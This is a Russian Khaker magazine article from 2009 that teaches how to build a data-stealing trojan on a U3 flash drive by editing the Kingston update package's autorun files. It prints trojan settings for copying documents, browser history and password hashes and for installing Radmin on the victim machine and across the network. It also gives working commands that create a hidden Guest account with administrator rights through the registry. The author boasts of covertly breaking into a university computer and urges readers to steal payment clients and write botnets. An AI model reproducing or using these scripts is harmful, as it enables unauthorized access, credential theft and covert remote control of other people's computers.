Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #126, ИЮНЬ 2009 г.

Троян в мозгах Flash. Учим флешку мыслить по-хакерски

Вадим «Doctor V_m_E_n» Даньшин (yurik_yurok2@mail.ru)




Частенько бывает необходимо увести информацию у владельца ноутбука, компьютера или сервера, не вызывая лишних подозрений... И у тебя нет возможности сломать компьютер по сети, равно как и отсутствует физический доступ к нему. Именно в таких случаях пригодится сообщник, который всегда поможет тебе выполнить задуманное, независимо от сложившейся ситуации. Я подарю тебе такого сообщника.

Однажды вечером я сидел дома, почитывая за кружкой кофе очередной номер журнала «Хакер», и вдруг наткнулся на статью про попытки взлома U3 флешки и софта под нее. Статья меня сильно заинтересовала тем, что флешка была не простая, а буквально золотая. И простор для хакерской деятельности на ней просто безграничен. Уже через день я приступил к опытам и изучению этого интереснейшего оборудования. Как оказалось, в самой системе таких флешек существовала уязвимость, которая потенциально позволяла взломщику сделать инъект в содержимое защищенного раздела флешки и заставить это содержимое исполняться на компьютере жертвы. К слову сказать, Большой Брат тоже не спит, поэтому все флешки такого типа перестали попадать к нам на прилавки уже через 2 недели. Сейчас их нет ни в одном магазине города. Но заказать такой U3-шный флеш-диск на 4 гига в инете нет никаких проблем!

Порывшись в Сети, я не нашел никаких постов по этой теме и начал сам ковырять флешку, а именно – пробовал ее скопировать, разбить, переформатировать, изменить загрузочную область... В итоге, все мои попытки были обречены на провал, пока мне в руки не попал замечательный патч от Kingston, в задачи которого входила перепрошивка моей флешки для совместимости с Vista. И именно с его изучения началось самое интересное.

Подарок хакеру – патч от разработчика

Итак, у нас есть неизвестное приложение. При запуске оно опрашивает носитель, копирует данные с него к нам в комп, а после перепрошивки возвращает все по местам. Сопровождается этот праздник жизни всевозможными глюками и красивыми окошками, которые просто и незатейливо информируют юзера, что ему следует делать дальше. Пристальное внимание я обратил на сам исполняемый файл. Он заставил меня улыбнуться. Это незащищенное Winrar-приложение, имеющее тип самораспаковывающегося архива, в котором было необычное содержимое. Весь взлом состоял в распаковке и правке нужных ini-файлов блокнотом. Чем дальше я изучал их систему обновлений, тем больше мне это напоминало приколы из серии «почувствуй себя кул-хакером». В архиве лежали интерфейс обновлялки, функционал, который получал доступ к защищенному диску и iso-образы – соответственно, для защищенного диска, пустой перегородки между дисками и пустой рабочей части. Как принято в компании Kingston, все должно быть доступно для взлома, а это значило, что уже через 10 минут ковыряния в блокноте я создал корректный файл автозапуска для защищенного диска. Он направлял выполнение кода сначала на мой обработчик, а затем уже на файлы LaunchU3-обработчика и так далее.

Теперь пора поговорить об обработчике и исполняемом коде, определить концепции развития и общую структуру построения. В качестве языка для написания системы я выбрал командную строку Win32. Сделал я это по целому ряду причин, в числе которых простота изучения этого языка и легковесность готовых исполняемых bat-файлов.

Непристойные запросы командной строки

Прежде чем мы полезем в дебри, давай рассмотрим основные приколы командного языка и методы обхода тех или иных ограничений. Первая проблема, которая долго сотрясала мой мозг - это обращение к русскоязычным путям в проводнике из пакетного файла. Если, допустим, с консоли ввести:

md c:\администратор\

– то на диске действительно создастся указанная выше папка, но в нашем случае нужен пакетный файл. Следовательно, вместо желаемого результата, мы получим какую-то кракозябру не неизвестном языке. Но все будет прекрасно работать, если ты пропишешь кодировку 1251.

chcp 1251
md c:\администратор\

Скажу пару слов об использования вывод строки в своих целях. Допустим, ты работаешь с окном командной строки, и тебе надо получить число из ответа команды. Попробуем написать программу, которая мониторит связь с компьютером по сети и в случае обрыва что-то выполнит:

rem программа опрашивает заранее известный сервер
и результаты пинга связывает с датой и временем

rem # укажите сервер
@set target=194.67.57.26

chcp 1251
color f0
title Блокнотик
chcp 866
:m1
@set pr=ўаҐ¬п=1¬б
@for /F "usebackq tokens=1,2,3,4,5,6,7* delims= " %%1 IN (`ping %target% -n 1`) DO (echo %%4 %%5 %%6|findstr "ўаҐ¬п="&&@set pr=%%6)&(echo %%1 %%2 %%3 %%4 %%5 %%6|findstr "ЏаҐўл襭 бЎ®©. ­Ґ¤®бвгЇҐ­."&&@set pr=disconected)
@for /F "usebackq tokens=1,2,3* delims== " %%1 IN (`echo %time%`) DO @set d_t="Date_%date% time_%%1 ping_%pr%" & title Date_%date% time_%%1 ping_%pr%
cls

@rem #если раскомментировать следующую строчку, то будет создан лог на диске цэ
@rem #@echo %d_t% >> c:\realtime_log.txt
@echo %d_t%

@rem #в случае обрыва по умолчанию запускает калькулятор
@if "%pr%"=="disconected" @start calc&&pause
@goto m1

В этом коде используются поисковые запросы, выполненные в кириллических символах. Они всенепременно исказятся в какую-то внутреннюю кодировку командной строки. Чтобы это обойти, выдели нужное тебе слово для поиска в окне командной строки исполняющегося пакетного файла правой кнопкой мыши и вставь в блокнот. Это может быть буква, строка и прочие символы, за исключением управляющих символов командной строки вроде скобок. Но даже в этом случае ты можешь использовать синтаксис циклов FOR, которым наплевать на содержимое их переменных, или просто скопировать заранее заготовленные спецсимволы из другого файла. Как пример, ищи на DVD мою систему пересоздания плейлистов, для построения которых мне необходимо пользоваться тем, что командная строка не переносит в принципе!

Также, из-за чрезмерной обширности вопроса, могу лишь упомянуть о возможности запуска скриптов как в режиме ожидания окончания предыдущего, так и в многопоточном режиме. Нет никаких проблем написания таких программ, которые при выполнении программировали бы свое потомство, притом, далеко не по линейным алгоритмам. Нет проблем и с математикой, матрицами и прочими полезными вкусностями. Даже базу данных состряпать в ней можно без труда, хотя не без геморроя. Всегда к твоим услугам справка Windows по командной строке и моя почта. Я буду только рад вопросам, потому что хочу расширить доступный мне функционал командной строки ее же средствами. Считаю использование этого языка хорошим подспорьем для затруднения отладки, как отдельных программ, так и всей системы в целом. В свое время я писал большой проект, на который неоднократно покушались другие программисты, но все они, в итоге, нервно курили в сторонке, так и не поняв сути моих скриптов.

Создаем свой искусственный флеш-интеллект

На руках у нас – вызов на исполнение защищенного файла, который поступил от приложения с защищенного раздела. Сначала мы определим букву диска, на который подключилась наша флешка, и откуда ей суждено работать. Я сделал это, используя обычные IF’ы и передал их параметром в пакетный файл, находящийся на основном разделе диска «JUMPER.BAT». В нем я определил режим работы и тактику поведения. Соответственно, я могу или вызвать атакующий модуль, или же, например открыть режим хозяина-владельца флешки, в котором играет музыка, запускается аська и копируются логи со взломанных машин прямо на мой рабочий стол! Допустим, что флешка попала в лапы негодяя. Предлагаю рассматривать лишь некоторые моменты файла «WARBOT.bat», например, его начальные настройки:

set make_tir_in_allusers_autorun=1 - создавать ли Трояна в автозагрузке всех пользователей (0\1)
set make_tir_in_user_autorun=1 – создавать ли Трояна в автозагрузке текущего пользователя (0\1)
set stealth_konsol=0 – копировать ли с компьютера жертвы файлы консолей управления? (0\1)
set stealth_histiry_ie=1 – копировать ли историю посещения браузера IE? (0\1)
set attack_for_guest=1 – производить ли атаку на гостя? (0\1)
set stealth recents=1 – копировать ли ярлыки недавно открытых документов? (иногда помогает «осмотреться») (0\1)
set stealth_system_info=1 –копировать ли логи со счетчиков системы и значения переменных? (0\1)
set stealth_md5_passwords=1 – пытаться ли скопировать мд5-хеши паролей с системы? (0\1)

set type_of_file_for_stealth=.doc .txt – указывает файлы, которые должны быть сграблены с компьютера на флешку
set type_of_file_for_filtration=.lnk .LNK .mp3 .wma .vob .wav .mid .midi .mp4 .avi .ogg .mpeg .mpg .cda %usbdisc% winword WINWORD Cookies cookies .jpeg .jpg .bmp .gif .pic .pict .ico - фильтры, чтобы не перегрузить флешку всяким хламом
rem #.jpeg .jpg .bmp .gif .pic .pict .ico .gif .html .htm – другой набор фильтров под другие задачи
set find_evristic_analyze_in_file_types=1 – включить ли искусственный интеллект для типов фаилов? (0\1)
set find_evristic_analyze_in_file_folders=1 – дать ли искусственному интеллекту доступ к структуре папок? (0\1)
set recent_folder_for_analyze=%homedrive%%homepath%\Recent\

set no_find_documents=0 - мне не искать текстовые документы вообще?
set no_copy_all_documents=0 – вообще пропускать копирование каких-либо документов?
set not_attacking=0 – не атаковать?
set no_use_radmin=0 – мне нельзя устанавливать радмин трояна в целевую систему?
set no_use_LanMod_for_Radmin=0 – мне не пытаться устанавливать радмин по сети на соседние машины?
set use_only_radmin=0 – вся атака должна состоять только из установки радмина?
set no_create_message=0 – в процессе работы не использовать место на диске для создания сообщений
set no_display_message=0 – про пользователя совсем забудем? Ну и правильно – ему нечего знать не надо

Отдельно хотелось бы рассказать об атаке на гостя, которая является гвоздем нашей программы.

if %attack_for_guest%==0 goto m3 – исключающее или
chcp 1251 – подключим кодировку для кириллицы
net user гость /active:yes – активируем учетную запись гостя
net localgroup администраторы гость /add – сделаем гостя равным администратору по правам
@reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v гость /t reg_dword /d 0 /f – скроем появившуюся учетку с глаз долой от юзера
net user гость 1234 – приправим паролем по вкусу

Об удобствах не забываем

Ну, хорошо, мы в какой-то степени удовлетворили наши запросы по взлому, но помимо всего прочего, моя система обладает массой приятных фенечек и фишек, таких, как автоматизированный вход в аську. На диске ты с легкостью должен найти файл «pqp.bat».

Именно он управляет вводом пароля. Этот скрипт просматривает свое тело и последовательно осуществляет клавиатурный ввод односимвольных комментариев в тексте программы. Если раскидать по этому файлу комментарии таким образом:

rem V
rem 1
rem 3
rem 3
rem k
rem g
rem r
rem s

– то на выходе мы получим пароль «V133kgrs». В итоге, пасс хранится в нестандартном виде и не требует при вводе нашего участия.
Следующая приятная фишка: если на флешке окажется места меньше заранее определенного объема, то автоматически откроется утилита для удобного рассмотрения содержимого диска «scanner.exe». Ты меломан, как и я? Тогда тебя порадует встроенная поддержка плейлистов от Windows Media Player и возможность их пересоздания специальным скриптом или вовсе автоматически. Вся музыка для этого заботливо укладывается в папочку MUZON. Если у тебя включен идентификатор типа «% BASE%==BASE» , то система автоматически скопирует тебе на рабочий стол в отдельную папочку все награбленное добро с флешки. Я в свое время успешно ее использовал для решения повседневных задач системного администратора, вроде полностью автоматизированной установки и настойки, например, антивирусов на компьютерах юзеров.
Чуть не забыл! Чтобы собственная флешка не ополчилась на тебя, необходимо залезть по адресу «Пуск –> Настройка -> Панель управления -> Система -> Дополнительно -> Переменные среды» и прописать там нужные идентификаторы. Вот список уже поддерживаемых:

  • BASE
  • DRUG
  • GUARD
  • SPY

По сути, это глобальные переменные твоей операционной системы, которые восстанавливаются при каждом входе в нее. Пользуйся на здоровье.

Глюки, выявленные тестированием

Изначально система писалась под WindowsXP Home, но после ее тестирования на WindowsXP Pro выявились некоторые глюки. Например, система долго и исправно работала на всех компах, пока со мной и моим товарищем не случилась следующая история. Однажды майским днем нам выпала возможность попасть в другой корпус родного университета и получить доступ к компьютеру, через который так или иначе проходят все методички, дипломные работы и вкусности, на которых можно было бы неплохо навариться. Придя в корпус, я передал приятелю флешку, после чего мы пошли «на дело». Сначала меня, как сейчас помню, немного озадачила надпись Windows2000 на экране монитора, но уже через мгновение флешка весело и бодро мигала своей лампочкой в гнезде USB. Флешка не захотела атаковать компьютер, и я, недолго думая, врубил принудительную атаку. Время шло, флешка работала, а мы выполняли собственно то, зачем нас направили в этот отдел. После окончания работы мы с нетерпением вернулись в родные корпуса. О да! Флешка сработала чудесно! По сети мы проникли в одну из самых защищенных машин и с кайфом вглядывались в действительно интересные фотографии сотрудниц отдела. И так продолжалось до самого обрыва связи. «Ну, ничего – завтра все скопируем», - сказал я товарищу, и мы пошли по домам. На следующее утро моего друга подняли по тревоге – надо было срочно явиться в тот отдел, чтобы подправить какие-то поля. Почуяв неладное, мы подключились к вузовской сети и стали пытаться зайти на тот компьютер. Нас ждал облом – компьютер пинговался, но не отвечал. Сильно озадаченные мы пошли в другой корпус.

Придя, мы наблюдали следующую картину: компьютер, возле него несколько человек. Они смотрели на нас глазами маньяков, которые давно никого не убивали. На все последующие вопросы мы сделали лица кирпичом и стали нести ну просто полную ахинею про интернет, его развитие и вирусы. Нас выслушали и поверили. Когда мы спросили, а что же случилось, нам рассказали, что у машины внезапно слетели все пароли. Они вызвали местного сисадмина, который добрых три часа возился с табличкой ввода пароля, и, видимо, совсем отчаявшись, наугад ввел имя пользователя «Гость» и нажал «Enter». Система неожиданно порадовала его не только успешным входом, но и админскими полномочиями в придачу. Вот такие пироги.

Обсудим итоги

Мы получили, своего рода платформу, которая будет отлично работать не только на твоей машине, но и где-то там, в чужой квартире, похищая нужные тебе данные. И неважно, кто ты, мой читатель, у тебя всегда найдутся вопросы и задачи, с которыми могла бы справиться моя система. Допустим, ты студент-раздолбай; тогда флешка поможет тебе достать не только курсовые у твоего препода, но и чертежи и прочую хрень, которая поставляется в комплекте с курсачом. Если ты уже поимел всю сеть вуза и помогаешь сотрудникам через Radmin раскладывать пасьянс, то можешь пойти прогуляться до ближайшего салона сотовой связи. Есть шанс заполучить в свои мохнатые руки их платежных клиентов – выгоду оценивай сам. Если тебе и этого мало, то хочу отметить целый ряд ситуаций, когда, не дай Бог, сотрудник Сбербанка согласится принять с твоей флешки отсканированный тобой чек. Более того, сейчас все на каждом углу в ужасе кричат от эпидемии вируса Conficker, а чем ты хуже? Неужели, имея в своем распоряжении такой мощный инструмент, ты не в состоянии написать свой тренировочный ботнет? Одним словом - срочно беги искать флеш-диск U3шного типа. Впрочем, если немного позаниматься мазохизмом, сойдет любая флешка.

WWW

Это адреса интернет-магазинов, где продаются подобные флешки. Есть экземпляры на 1, 2, 4 и вроде бы даже на 16 гигов!

А на ixbt.com/storage/flashdrives-p17.shtml производился интересный тест-обзор флешек, в числе который оказалась и U3.

Warning!

Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут!

DVD

На диске тебя ожидает моя мега-система, а также все необходимые материалы, касающиеся всех аспектов разработки подобных приложений, скриптования под Win32 и прочие вкусности, описанные в статье. Тебе остается лишь взять и уложить предоставленный материал по папочкам.

Содержание